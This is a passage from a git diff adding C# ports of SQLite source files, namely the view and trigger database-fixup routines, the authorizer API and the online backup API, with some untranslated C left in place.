/* Name of the view, trigger, or index */ + ) + { + sqlite3 db; + + if ( NEVER( iDb < 0 ) || iDb == 1 ) return 0; + db = pParse.db; + Debug.Assert( db.nDb > iDb ); + pFix.pParse = pParse; + pFix.zDb = db.aDb[iDb].zName; + pFix.zType = zType; + pFix.pName = pName; + return 1; + } + + /* + ** The following set of routines walk through the parse tree and assign + ** a specific database to all table references where the database name + ** was left unspecified in the original SQL statement. The pFix structure + ** must have been initialized by a prior call to sqlite3FixInit(). + ** + ** These routines are used to make sure that an index, trigger, or + ** view in one database does not refer to objects in a different database. + ** (Exception: indices, triggers, and views in the TEMP database are + ** allowed to refer to anything.) If a reference is explicitly made + ** to an object in a different database, an error message is added to + ** pParse.zErrMsg and these routines return non-zero. If everything + ** checks out, these routines return 0. + */ + static int sqlite3FixSrcList( + DbFixer pFix, /* Context of the fixation */ + SrcList pList /* The Source list to check and modify */ + ) + { + int i; + string zDb; + SrcList_item pItem; + + if ( NEVER( pList == null ) ) return 0; + zDb = pFix.zDb; + for ( i = 0 ; i < pList.nSrc ; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + if ( pItem.zDatabase == null ) + { + pItem.zDatabase = zDb;// sqlite3DbStrDup( pFix.pParse.db, zDb ); + } + else if ( sqlite3StrICmp( pItem.zDatabase, zDb ) != 0 ) + { + sqlite3ErrorMsg( pFix.pParse, + "%s %T cannot reference objects in database %s", + pFix.zType, pFix.pName, pItem.zDatabase ); + return 1; + } +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER + if ( sqlite3FixSelect( pFix, pItem.pSelect ) != 0 ) return 1; + if ( sqlite3FixExpr( pFix, pItem.pOn ) != 0 ) return 1; +#endif + } + return 0; + } +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER + static int sqlite3FixSelect( + DbFixer pFix, /* Context of the fixation */ + Select pSelect /* The SELECT statement to be fixed to one database */ + ) + { + while ( pSelect != null ) + { + if ( sqlite3FixExprList( pFix, pSelect.pEList ) != 0 ) + { + return 1; + } + if ( sqlite3FixSrcList( pFix, pSelect.pSrc ) != 0 ) + { + return 1; + } + if ( sqlite3FixExpr( pFix, pSelect.pWhere ) != 0 ) + { + return 1; + } + if ( sqlite3FixExpr( pFix, pSelect.pHaving ) != 0 ) + { + return 1; + } + pSelect = pSelect.pPrior; + } + return 0; + } + static int sqlite3FixExpr( + DbFixer pFix, /* Context of the fixation */ + Expr pExpr /* The expression to be fixed to one database */ + ) + { + while ( pExpr != null ) + { + if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) break; + if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + if ( sqlite3FixSelect( pFix, pExpr.x.pSelect ) != 0 ) return 1; + } + else + { + if ( sqlite3FixExprList( pFix, pExpr.x.pList ) != 0 ) return 1; + } + if ( sqlite3FixExpr( pFix, pExpr.pRight ) != 0 ) + { + return 1; + } + pExpr = pExpr.pLeft; + } + return 0; + } + static int sqlite3FixExprList( + DbFixer pFix, /* Context of the fixation */ + ExprList pList /* The expression to be fixed to one database */ + ) + { + int i; + ExprList_item pItem; + if ( pList == null ) return 0; + for ( i = 0 ; i < pList.nExpr ; i++ )//, pItem++ ) + { + pItem = pList.a[i]; + if ( sqlite3FixExpr( pFix, pItem.pExpr ) != 0 ) + { + return 1; + } + } + return 0; + } +#endif + +#if !SQLITE_OMIT_TRIGGER + static int sqlite3FixTriggerStep( + DbFixer pFix, /* Context of the fixation */ + TriggerStep pStep /* The trigger step be fixed to one database */ + ) + { + while ( pStep != null ) + { + if ( sqlite3FixSelect( pFix, pStep.pSelect ) != 0 ) + { + return 1; + } + if ( sqlite3FixExpr( pFix, pStep.pWhere ) != 0 ) + { + return 1; + } + if ( sqlite3FixExprList( pFix, pStep.pExprList ) != 0 ) + { + return 1; + } + pStep = pStep.pNext; + } + return 0; + } +#endif + + } +} diff --git a/SQLite/src/auth_c.cs b/SQLite/src/auth_c.cs new file mode 100644 index 0000000..dc012d2 --- /dev/null +++ b/SQLite/src/auth_c.cs @@ -0,0 +1,254 @@ +using System; +using System.Diagnostics; +using System.Text; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2003 January 11 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains code used to implement the sqlite3_set_authorizer() + ** API. This facility is an optional feature of the library. Embedded + ** systems that do not need this facility may omit it by recompiling + ** the library with -DSQLITE_OMIT_AUTHORIZATION=1 + ** + ** $Id: auth.c,v 1.32 2009/07/02 18:40:35 danielk1977 Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** All of the code in this file may be omitted by defining a single + ** macro. + */ +#if !SQLITE_OMIT_AUTHORIZATION + +/* +** Set or clear the access authorization function. +** +** The access authorization function is be called during the compilation +** phase to verify that the user has read and/or write access permission on +** various fields of the database. The first argument to the auth function +** is a copy of the 3rd argument to this routine. The second argument +** to the auth function is one of these constants: +** +** SQLITE_CREATE_INDEX +** SQLITE_CREATE_TABLE +** SQLITE_CREATE_TEMP_INDEX +** SQLITE_CREATE_TEMP_TABLE +** SQLITE_CREATE_TEMP_TRIGGER +** SQLITE_CREATE_TEMP_VIEW +** SQLITE_CREATE_TRIGGER +** SQLITE_CREATE_VIEW +** SQLITE_DELETE +** SQLITE_DROP_INDEX +** SQLITE_DROP_TABLE +** SQLITE_DROP_TEMP_INDEX +** SQLITE_DROP_TEMP_TABLE +** SQLITE_DROP_TEMP_TRIGGER +** SQLITE_DROP_TEMP_VIEW +** SQLITE_DROP_TRIGGER +** SQLITE_DROP_VIEW +** SQLITE_INSERT +** SQLITE_PRAGMA +** SQLITE_READ +** SQLITE_SELECT +** SQLITE_TRANSACTION +** SQLITE_UPDATE +** +** The third and fourth arguments to the auth function are the name of +** the table and the column that are being accessed. The auth function +** should return either SQLITE_OK, SQLITE_DENY, or SQLITE_IGNORE. If +** SQLITE_OK is returned, it means that access is allowed. SQLITE_DENY +** means that the SQL statement will never-run - the sqlite3_exec() call +** will return with an error. SQLITE_IGNORE means that the SQL statement +** should run but attempts to read the specified column will return NULL +** and attempts to write the column will be ignored. +** +** Setting the auth function to NULL disables this hook. The default +** setting of the auth function is NULL. +*/ +int sqlite3_set_authorizer( +sqlite3 *db, +int (*xAuth)(void*,int,const char*,const char*,const char*,const char*), +void *pArg +){ +sqlite3_mutex_enter(db->mutex); +db->xAuth = xAuth; +db->pAuthArg = pArg; +sqlite3ExpirePreparedStatements(db); +sqlite3_mutex_leave(db->mutex); +return SQLITE_OK; +} + +/* +** Write an error message into pParse->zErrMsg that explains that the +** user-supplied authorization function returned an illegal value. +*/ +static void sqliteAuthBadReturnCode(Parse *pParse){ +sqlite3ErrorMsg(pParse, "authorizer malfunction"); +pParse->rc = SQLITE_ERROR; +} + +/* +** The pExpr should be a TK_COLUMN expression. The table referred to +** is in pTabList or else it is the NEW or OLD table of a trigger. +** Check to see if it is OK to read this particular column. +** +** If the auth function returns SQLITE_IGNORE, change the TK_COLUMN +** instruction into a TK_NULL. If the auth function returns SQLITE_DENY, +** then generate an error. +*/ +void sqlite3AuthRead( +Parse *pParse, /* The parser context */ +Expr *pExpr, /* The expression to check authorization on */ +Schema *pSchema, /* The schema of the expression */ +SrcList *pTabList /* All table that pExpr might refer to */ +){ +sqlite3 *db = pParse->db; +int rc; +Table *pTab = 0; /* The table being read */ +const char *zCol; /* Name of the column of the table */ +int iSrc; /* Index in pTabList->a[] of table being read */ +const char *zDBase; /* Name of database being accessed */ +int iDb; /* The index of the database the expression refers to */ + +if( db->xAuth==0 ) return; +assert( pExpr->op==TK_COLUMN ); +iDb = sqlite3SchemaToIndex(pParse->db, pSchema); +if( iDb<0 ){ +/* An attempt to read a column out of a subquery or other +** temporary table. */ +return; +} +if( pTabList ){ + for(iSrc=0; iSrcnSrc; iSrc++){ + if( pExpr->iTable==pTabList->a[iSrc].iCursor ){ + pTab = pTabList->a[iSrc].pTab; + break; + } + } + } + if( !pTab ){ + TriggerStack *pStack = pParse->trigStack; +if( ALWAYS(pStack) ){ +/* This must be an attempt to read the NEW or OLD pseudo-tables +** of a trigger. */ +assert( pExpr->iTable==pStack->newIdx || pExpr->iTable==pStack->oldIdx ); +pTab = pStack->pTab; +} +} +if( NEVER(pTab==0) ) return; +if( pExpr->iColumn>=0 ){ +assert( pExpr->iColumnnCol ); +zCol = pTab->aCol[pExpr->iColumn].zName; +}else if( pTab->iPKey>=0 ){ +assert( pTab->iPKeynCol ); +zCol = pTab->aCol[pTab->iPKey].zName; +}else{ +zCol = "ROWID"; +} +assert( iDb>=0 && iDbnDb ); +zDBase = db->aDb[iDb].zName; +rc = db->xAuth(db->pAuthArg, SQLITE_READ, pTab->zName, zCol, zDBase, +pParse->zAuthContext); +if( rc==SQLITE_IGNORE ){ +pExpr->op = TK_NULL; +}else if( rc==SQLITE_DENY ){ +if( db->nDb>2 || iDb!=0 ){ +sqlite3ErrorMsg(pParse, "access to %s.%s.%s is prohibited", +zDBase, pTab->zName, zCol); +}else{ +sqlite3ErrorMsg(pParse, "access to %s.%s is prohibited",pTab->zName,zCol); +} +pParse->rc = SQLITE_AUTH; +}else if( rc!=SQLITE_OK ){ +sqliteAuthBadReturnCode(pParse); +} +} + +/* +** Do an authorization check using the code and arguments given. Return +** either SQLITE_OK (zero) or SQLITE_IGNORE or SQLITE_DENY. If SQLITE_DENY +** is returned, then the error count and error message in pParse are +** modified appropriately. +*/ +int sqlite3AuthCheck( +Parse *pParse, +int code, +const char *zArg1, +const char *zArg2, +const char *zArg3 +){ +sqlite3 *db = pParse->db; +int rc; + +/* Don't do any authorization checks if the database is initialising +** or if the parser is being invoked from within sqlite3_declare_vtab. +*/ +if( db->init.busy || IN_DECLARE_VTAB ){ +return SQLITE_OK; +} + +if( db->xAuth==0 ){ +return SQLITE_OK; +} +rc = db->xAuth(db->pAuthArg, code, zArg1, zArg2, zArg3, pParse->zAuthContext); +if( rc==SQLITE_DENY ){ +sqlite3ErrorMsg(pParse, "not authorized"); +pParse->rc = SQLITE_AUTH; +}else if( rc!=SQLITE_OK && rc!=SQLITE_IGNORE ){ +rc = SQLITE_DENY; +sqliteAuthBadReturnCode(pParse); +} +return rc; +} + +/* +** Push an authorization context. After this routine is called, the +** zArg3 argument to authorization callbacks will be zContext until +** popped. Or if pParse==0, this routine is a no-op. +*/ +void sqlite3AuthContextPush( +Parse *pParse, +AuthContext *pContext, +const char *zContext +){ +assert( pParse ); +pContext->pParse = pParse; +pContext->zAuthContext = pParse->zAuthContext; +pParse->zAuthContext = zContext; +} + +/* +** Pop an authorization context that was previously pushed +** by sqlite3AuthContextPush +*/ +void sqlite3AuthContextPop(AuthContext *pContext){ +if( pContext->pParse ){ +pContext->pParse->zAuthContext = pContext->zAuthContext; +pContext->pParse = 0; +} +} + +#endif //* SQLITE_OMIT_AUTHORIZATION */ + } +} diff --git a/SQLite/src/backup_c.cs b/SQLite/src/backup_c.cs new file mode 100644 index 0000000..54cb983 --- /dev/null +++ b/SQLite/src/backup_c.cs @@ -0,0 +1,738 @@ +using System; +using System.Diagnostics; +using System.Text; + +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + + +namespace CS_SQLite3 +{ + using sqlite3_int64 = System.Int64; + using DbPage = CSSQLite.PgHdr; + public partial class CSSQLite + { + /* + ** 2009 January 28 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the implementation of the sqlite3_backup_XXX() + ** API functions and the related features. + ** + ** $Id: backup.c,v 1.19 2009/07/06 19:03:13 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include "btreeInt.h" + + /* Macro to find the minimum of two numeric values. + */ +#if !MIN + //# define MIN(x,y) ((x)<(y)?(x):(y)) +#endif + + /* +** Structure allocated for each backup operation. +*/ + public class sqlite3_backup + { + public sqlite3 pDestDb; /* Destination database handle */ + public Btree pDest; /* Destination b-tree file */ + public u32 iDestSchema; /* Original schema cookie in destination */ + public int bDestLocked; /* True once a write-transaction is open on pDest */ + + public Pgno iNext; /* Page number of the next source page to copy */ + public sqlite3 pSrcDb; /* Source database handle */ + public Btree pSrc; /* Source b-tree file */ + + public int rc; /* Backup process error code */ + + /* These two variables are set by every call to backup_step(). They are + ** read by calls to backup_remaining() and backup_pagecount(). + */ + public Pgno nRemaining; /* Number of pages left to copy */ + public Pgno nPagecount; /* Total number of pages to copy */ + + public int isAttached; /* True once backup has been registered with pager */ + public sqlite3_backup pNext; /* Next backup associated with source pager */ + }; + + /* + ** THREAD SAFETY NOTES: + ** + ** Once it has been created using backup_init(), a single sqlite3_backup + ** structure may be accessed via two groups of thread-safe entry points: + ** + ** * Via the sqlite3_backup_XXX() API function backup_step() and + ** backup_finish(). Both these functions obtain the source database + ** handle mutex and the mutex associated with the source BtShared + ** structure, in that order. + ** + ** * Via the BackupUpdate() and BackupRestart() functions, which are + ** invoked by the pager layer to report various state changes in + ** the page cache associated with the source database. The mutex + ** associated with the source database BtShared structure will always + ** be held when either of these functions are invoked. + ** + ** The other sqlite3_backup_XXX() API functions, backup_remaining() and + ** backup_pagecount() are not thread-safe functions. If they are called + ** while some other thread is calling backup_step() or backup_finish(), + ** the values returned may be invalid. There is no way for a call to + ** BackupUpdate() or BackupRestart() to interfere with backup_remaining() + ** or backup_pagecount(). + ** + ** Depending on the SQLite configuration, the database handles and/or + ** the Btree objects may have their own mutexes that require locking. + ** Non-sharable Btrees (in-memory databases for example), do not have + ** associated mutexes. + */ + + /* + ** Return a pointer corresponding to database zDb (i.e. "main", "temp") + ** in connection handle pDb. If such a database cannot be found, return + ** a NULL pointer and write an error message to pErrorDb. + ** + ** If the "temp" database is requested, it may need to be opened by this + ** function. If an error occurs while doing so, return 0 and write an + ** error message to pErrorDb. + */ + static Btree findBtree( sqlite3 pErrorDb, sqlite3 pDb, string zDb ) + { + int i = sqlite3FindDbName( pDb, zDb ); + + if ( i == 1 ) + { + Parse pParse; + int rc = 0; + pParse = new Parse();//sqlite3StackAllocZero(pErrorDb, sizeof(*pParse)); + if ( pParse == null ) + { + sqlite3Error( pErrorDb, SQLITE_NOMEM, "out of memory" ); + rc = SQLITE_NOMEM; + } + else + { + pParse.db = pDb; + if ( sqlite3OpenTempDatabase( pParse ) != 0 ) + { + sqlite3ErrorClear( pParse ); + sqlite3Error( pErrorDb, pParse.rc, "%s", pParse.zErrMsg ); + rc = SQLITE_ERROR; + } + //sqlite3StackFree( pErrorDb, pParse ); + } + if ( rc != 0 ) + { + return null; + } + } + + if ( i < 0 ) + { + sqlite3Error( pErrorDb, SQLITE_ERROR, "unknown database %s", zDb ); + return null; + } + + return pDb.aDb[i].pBt; + } + + /* + ** Create an sqlite3_backup process to copy the contents of zSrcDb from + ** connection handle pSrcDb to zDestDb in pDestDb. If successful, return + ** a pointer to the new sqlite3_backup object. + ** + ** If an error occurs, NULL is returned and an error code and error message + ** stored in database handle pDestDb. + */ + public static sqlite3_backup sqlite3_backup_init( + sqlite3 pDestDb, /* Database to write to */ + string zDestDb, /* Name of database within pDestDb */ + sqlite3 pSrcDb, /* Database connection to read from */ + string zSrcDb /* Name of database within pSrcDb */ + ) + { + sqlite3_backup p; /* Value to return */ + + /* Lock the source database handle. The destination database + ** handle is not locked in this routine, but it is locked in + ** sqlite3_backup_step(). The user is required to ensure that no + ** other thread accesses the destination handle for the duration + ** of the backup operation. Any attempt to use the destination + ** database connection while a backup is in progress may cause + ** a malfunction or a deadlock. + */ + sqlite3_mutex_enter( pSrcDb.mutex ); + sqlite3_mutex_enter( pDestDb.mutex ); + + if ( pSrcDb == pDestDb ) + { + sqlite3Error( + pDestDb, SQLITE_ERROR, "source and destination must be distinct" + ); + p = null; + } + else + { + /* Allocate space for a new sqlite3_backup object */ + p = new sqlite3_backup();// (sqlite3_backup)sqlite3_malloc( sizeof( sqlite3_backup ) ); + //if ( null == p ) + //{ + // sqlite3Error( pDestDb, SQLITE_NOMEM, 0 ); + //} + } + + /* If the allocation succeeded, populate the new object. */ + if ( p != null ) + { + // memset( p, 0, sizeof( sqlite3_backup ) ); + p.pSrc = findBtree( pDestDb, pSrcDb, zSrcDb ); + p.pDest = findBtree( pDestDb, pDestDb, zDestDb ); + p.pDestDb = pDestDb; + p.pSrcDb = pSrcDb; + p.iNext = 1; + p.isAttached = 0; + + if ( null == p.pSrc || null == p.pDest ) + { + /* One (or both) of the named databases did not exist. An error has + ** already been written into the pDestDb handle. All that is left + ** to do here is free the sqlite3_backup structure. + */ + //sqlite3_free( ref p ); + p = null; + } + } + + if ( p != null ) + { + p.pSrc.nBackup++; + } + + sqlite3_mutex_leave( pDestDb.mutex ); + sqlite3_mutex_leave( pSrcDb.mutex ); + return p; + } + + /* + ** Argument rc is an SQLite error code. Return true if this error is + ** considered fatal if encountered during a backup operation. All errors + ** are considered fatal except for SQLITE_BUSY and SQLITE_LOCKED. + */ + static bool isFatalError( int rc ) + { + return ( rc != SQLITE_OK && rc != SQLITE_BUSY && ALWAYS( rc != SQLITE_LOCKED ) ); + } + + /* + ** Parameter zSrcData points to a buffer containing the data for + ** page iSrcPg from the source database. Copy this data into the + ** destination database. + */ + static int backupOnePage( sqlite3_backup p, Pgno iSrcPg, byte[] zSrcData ) + { + Pager pDestPager = sqlite3BtreePager( p.pDest ); + int nSrcPgsz = sqlite3BtreeGetPageSize( p.pSrc ); + int nDestPgsz = sqlite3BtreeGetPageSize( p.pDest ); + int nCopy = MIN( nSrcPgsz, nDestPgsz ); + i64 iEnd = (i64)iSrcPg * (i64)nSrcPgsz; + + int rc = SQLITE_OK; + i64 iOff; + + Debug.Assert( p.bDestLocked != 0 ); + Debug.Assert( !isFatalError( p.rc ) ); + Debug.Assert( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) ); + Debug.Assert( zSrcData != null ); + + /* Catch the case where the destination is an in-memory database and the + ** page sizes of the source and destination differ. + */ + if ( nSrcPgsz != nDestPgsz && sqlite3PagerIsMemdb( sqlite3BtreePager( p.pDest ) ) ) + { + rc = SQLITE_READONLY; + } + + /* This loop runs once for each destination page spanned by the source + ** page. For each iteration, variable iOff is set to the byte offset + ** of the destination page. + */ + for ( iOff = iEnd - (i64)nSrcPgsz ; rc == SQLITE_OK && iOff < iEnd ; iOff += nDestPgsz ) + { + DbPage pDestPg = null; + u32 iDest = (u32)( iOff / nDestPgsz ) + 1; + if ( iDest == PENDING_BYTE_PAGE( p.pDest.pBt ) ) continue; + if ( SQLITE_OK == ( rc = sqlite3PagerGet( pDestPager, iDest, ref pDestPg ) ) + && SQLITE_OK == ( rc = sqlite3PagerWrite( pDestPg ) ) + ) + { + //string zIn = &zSrcData[iOff%nSrcPgsz]; + byte[] zDestData = sqlite3PagerGetData( pDestPg ); + //string zOut = &zDestData[iOff % nDestPgsz]; + + /* Copy the data from the source page into the destination page. + ** Then clear the Btree layer MemPage.isInit flag. Both this module + ** and the pager code use this trick (clearing the first byte + ** of the page 'extra' space to invalidate the Btree layers + ** cached parse of the page). MemPage.isInit is marked + ** "MUST BE FIRST" for this purpose. + */ + Buffer.BlockCopy( zSrcData, (int)( iOff % nSrcPgsz ), zDestData, (int)( iOff % nDestPgsz ), nCopy );// memcpy( zOut, zIn, nCopy ); + sqlite3PagerGetExtra( pDestPg ).isInit = 0;// ( sqlite3PagerGetExtra( pDestPg ) )[0] = 0; + } + sqlite3PagerUnref( pDestPg ); + } + + return rc; + } + + /* + ** If pFile is currently larger than iSize bytes, then truncate it to + ** exactly iSize bytes. If pFile is not larger than iSize bytes, then + ** this function is a no-op. + ** + ** Return SQLITE_OK if everything is successful, or an SQLite error + ** code if an error occurs. + */ + static int backupTruncateFile( sqlite3_file pFile, int iSize ) + { + int iCurrent = 0; + int rc = sqlite3OsFileSize( pFile, ref iCurrent ); + if ( rc == SQLITE_OK && iCurrent > iSize ) + { + rc = sqlite3OsTruncate( pFile, iSize ); + } + return rc; + } + + /* + ** Register this backup object with the associated source pager for + ** callbacks when pages are changed or the cache invalidated. + */ + static void attachBackupObject( sqlite3_backup p ) + { + sqlite3_backup pp; + Debug.Assert( sqlite3BtreeHoldsMutex( p.pSrc ) ); + pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) ); + p.pNext = pp; + sqlite3BtreePager( p.pSrc ).pBackup = p; //*pp = p; + p.isAttached = 1; + } + + /* + ** Copy nPage pages from the source b-tree to the destination. + */ + public static int sqlite3_backup_step( sqlite3_backup p, int nPage ) + { + int rc; + + sqlite3_mutex_enter( p.pSrcDb.mutex ); + sqlite3BtreeEnter( p.pSrc ); + if ( p.pDestDb != null ) + { + sqlite3_mutex_enter( p.pDestDb.mutex ); + } + + rc = p.rc; + if ( !isFatalError( rc ) ) + { + Pager pSrcPager = sqlite3BtreePager( p.pSrc ); /* Source pager */ + Pager pDestPager = sqlite3BtreePager( p.pDest ); /* Dest pager */ + int ii; /* Iterator variable */ + int nSrcPage = -1; /* Size of source db in pages */ + int bCloseTrans = 0; /* True if src db requires unlocking */ + + /* If the source pager is currently in a write-transaction, return + ** SQLITE_BUSY immediately. + */ + if ( p.pDestDb != null && p.pSrc.pBt.inTransaction == TRANS_WRITE ) + { + rc = SQLITE_BUSY; + } + else + { + rc = SQLITE_OK; + } + + /* Lock the destination database, if it is not locked already. */ + if ( SQLITE_OK == rc && p.bDestLocked == 0 + && SQLITE_OK == ( rc = sqlite3BtreeBeginTrans( p.pDest, 2 ) ) + ) + { + p.bDestLocked = 1; + sqlite3BtreeGetMeta( p.pDest, BTREE_SCHEMA_VERSION, ref p.iDestSchema ); + } + + /* If there is no open read-transaction on the source database, open + ** one now. If a transaction is opened here, then it will be closed + ** before this function exits. + */ + if ( rc == SQLITE_OK && !sqlite3BtreeIsInReadTrans( p.pSrc ) ) + { + rc = sqlite3BtreeBeginTrans( p.pSrc, 0 ); + bCloseTrans = 1; + } + + /* Now that there is a read-lock on the source database, query the + ** source pager for the number of pages in the database. + */ + if ( rc == SQLITE_OK ) + { + rc = sqlite3PagerPagecount( pSrcPager, ref nSrcPage ); + } + for ( ii = 0 ; ( nPage < 0 || ii < nPage ) && p.iNext <= (Pgno)nSrcPage && 0 == rc ; ii++ ) + { + Pgno iSrcPg = p.iNext; /* Source page number */ + if ( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) ) + { + DbPage pSrcPg = null; /* Source page object */ + rc = sqlite3PagerGet( pSrcPager, (u32)iSrcPg, ref pSrcPg ); + if ( rc == SQLITE_OK ) + { + rc = backupOnePage( p, iSrcPg, sqlite3PagerGetData( pSrcPg ) ); + sqlite3PagerUnref( pSrcPg ); + } + } + p.iNext++; + } + if ( rc == SQLITE_OK ) + { + p.nPagecount = (u32)nSrcPage; + p.nRemaining = (u32)( nSrcPage + 1 - p.iNext ); + if ( p.iNext > (Pgno)nSrcPage ) + { + rc = SQLITE_DONE; + } + else if ( 0 == p.isAttached ) + { + attachBackupObject( p ); + } + } + + + /* Update the schema version field in the destination database. This + ** is to make sure that the schema-version really does change in + ** the case where the source and destination databases have the + ** same schema version. + */ + if ( rc == SQLITE_DONE + && ( rc = sqlite3BtreeUpdateMeta( p.pDest, 1, p.iDestSchema + 1 ) ) == SQLITE_OK + ) + { + int nSrcPagesize = sqlite3BtreeGetPageSize( p.pSrc ); + int nDestPagesize = sqlite3BtreeGetPageSize( p.pDest ); + int nDestTruncate; + if ( p.pDestDb != null ) + { + sqlite3ResetInternalSchema( p.pDestDb, 0 ); + } + + /* Set nDestTruncate to the final number of pages in the destination + ** database. The complication here is that the destination page + ** size may be different to the source page size. + ** + ** If the source page size is smaller than the destination page size, + ** round up. In this case the call to sqlite3OsTruncate() below will + ** fix the size of the file. However it is important to call + ** sqlite3PagerTruncateImage() here so that any pages in the + ** destination file that lie beyond the nDestTruncate page mark are + ** journalled by PagerCommitPhaseOne() before they are destroyed + ** by the file truncation. + */ + if ( nSrcPagesize < nDestPagesize ) + { + int ratio = nDestPagesize / nSrcPagesize; + nDestTruncate = ( nSrcPage + ratio - 1 ) / ratio; + if ( nDestTruncate == (int)PENDING_BYTE_PAGE( p.pDest.pBt ) ) + { + nDestTruncate--; + } + } + else + { + nDestTruncate = nSrcPage * ( nSrcPagesize / nDestPagesize ); + } + sqlite3PagerTruncateImage( pDestPager, (u32)nDestTruncate ); + + if ( nSrcPagesize < nDestPagesize ) + { + /* If the source page-size is smaller than the destination page-size, + ** two extra things may need to happen: + ** + ** * The destination may need to be truncated, and + ** + ** * Data stored on the pages immediately following the + ** pending-byte page in the source database may need to be + ** copied into the destination database. + */ + u32 iSize = (u32)nSrcPagesize * (u32)nSrcPage; + sqlite3_file pFile = sqlite3PagerFile( pDestPager ); + + Debug.Assert( pFile != null ); + Debug.Assert( (i64)nDestTruncate * (i64)nDestPagesize >= iSize || ( + nDestTruncate == (int)( PENDING_BYTE_PAGE( p.pDest.pBt ) - 1 ) + && iSize >= PENDING_BYTE && iSize <= PENDING_BYTE + nDestPagesize + ) ); + if ( SQLITE_OK == ( rc = sqlite3PagerCommitPhaseOne( pDestPager, null, true ) ) + && SQLITE_OK == ( rc = backupTruncateFile( pFile, (int)iSize ) ) + && SQLITE_OK == ( rc = sqlite3PagerSync( pDestPager ) ) + ) + { + i64 iOff; + i64 iEnd = MIN( PENDING_BYTE + nDestPagesize, iSize ); + for ( + iOff = PENDING_BYTE + nSrcPagesize ; + rc == SQLITE_OK && iOff < iEnd ; + iOff += nSrcPagesize + ) + { + PgHdr pSrcPg = null; + u32 iSrcPg = (u32)( ( iOff / nSrcPagesize ) + 1 ); + rc = sqlite3PagerGet( pSrcPager, iSrcPg, ref pSrcPg ); + if ( rc == SQLITE_OK ) + { + byte[] zData = sqlite3PagerGetData( pSrcPg ); + rc = sqlite3OsWrite( pFile, zData, nSrcPagesize, iOff ); + } + sqlite3PagerUnref( pSrcPg ); + } + } + } + else + { + rc = sqlite3PagerCommitPhaseOne( pDestPager, null, false ); + } + + /* Finish committing the transaction to the destination database. */ + if ( SQLITE_OK == rc + && SQLITE_OK == ( rc = sqlite3BtreeCommitPhaseTwo( p.pDest ) ) + ) + { + rc = SQLITE_DONE; + } + } + + /* If bCloseTrans is true, then this function opened a read transaction + ** on the source database. Close the read transaction here. There is + ** no need to check the return values of the btree methods here, as + ** "committing" a read-only transaction cannot fail. + */ + if ( bCloseTrans != 0 ) + { +#if !NDEBUG || SQLITE_COVERAGE_TEST + //TESTONLY( int rc2 ); + //TESTONLY( rc2 = ) sqlite3BtreeCommitPhaseOne(p.pSrc, 0); + //TESTONLY( rc2 |= ) sqlite3BtreeCommitPhaseTwo(p.pSrc); + int rc2; + rc2 = sqlite3BtreeCommitPhaseOne( p.pSrc, "" ); + rc2 |= sqlite3BtreeCommitPhaseTwo( p.pSrc ); + Debug.Assert( rc2 == SQLITE_OK ); +#else +sqlite3BtreeCommitPhaseOne(p.pSrc, null); +sqlite3BtreeCommitPhaseTwo(p.pSrc); +#endif + } + + p.rc = rc; + } + if ( p.pDestDb != null ) + { + sqlite3_mutex_leave( p.pDestDb.mutex ); + } + sqlite3BtreeLeave( p.pSrc ); + sqlite3_mutex_leave( p.pSrcDb.mutex ); + return rc; + } + + /* + ** Release all resources associated with an sqlite3_backup* handle. + */ + public static int sqlite3_backup_finish( sqlite3_backup p ) + { + sqlite3_backup pp; /* Ptr to head of pagers backup list */ + sqlite3_mutex mutex; /* Mutex to protect source database */ + int rc; /* Value to return */ + + /* Enter the mutexes */ + if ( p == null ) return SQLITE_OK; + sqlite3_mutex_enter( p.pSrcDb.mutex ); + sqlite3BtreeEnter( p.pSrc ); + mutex = p.pSrcDb.mutex; + if ( p.pDestDb != null ) + { + sqlite3_mutex_enter( p.pDestDb.mutex ); + } + + /* Detach this backup from the source pager. */ + if ( p.pDestDb != null ) + { + p.pSrc.nBackup--; + } + if ( p.isAttached != 0 ) + { + pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) ); + while ( pp != p ) + { + pp = ( pp ).pNext; + } + sqlite3BtreePager( p.pSrc ).pBackup = p.pNext; + } + + /* If a transaction is still open on the Btree, roll it back. */ + sqlite3BtreeRollback( p.pDest ); + + /* Set the error code of the destination database handle. */ + rc = ( p.rc == SQLITE_DONE ) ? SQLITE_OK : p.rc; + sqlite3Error( p.pDestDb, rc, 0 ); + + /* Exit the mutexes and free the backup context structure. */ + if ( p.pDestDb != null ) + { + sqlite3_mutex_leave( p.pDestDb.mutex ); + } + sqlite3BtreeLeave( p.pSrc ); + if ( p.pDestDb != null ) + { + //sqlite3_free( ref p ); + } + sqlite3_mutex_leave( mutex ); + return rc; + } + + /* + ** Return the number of pages still to be backed up as of the most recent + ** call to sqlite3_backup_step(). + */ + static int sqlite3_backup_remaining( sqlite3_backup p ) + { + return (int)p.nRemaining; + } + + /* + ** Return the total number of pages in the source database as of the most + ** recent call to sqlite3_backup_step(). + */ + static int sqlite3_backup_pagecount( sqlite3_backup p ) + { + return (int)p.nPagecount; + } + + /* + ** This function is called after the contents of page iPage of the + ** source database have been modified. If page iPage has 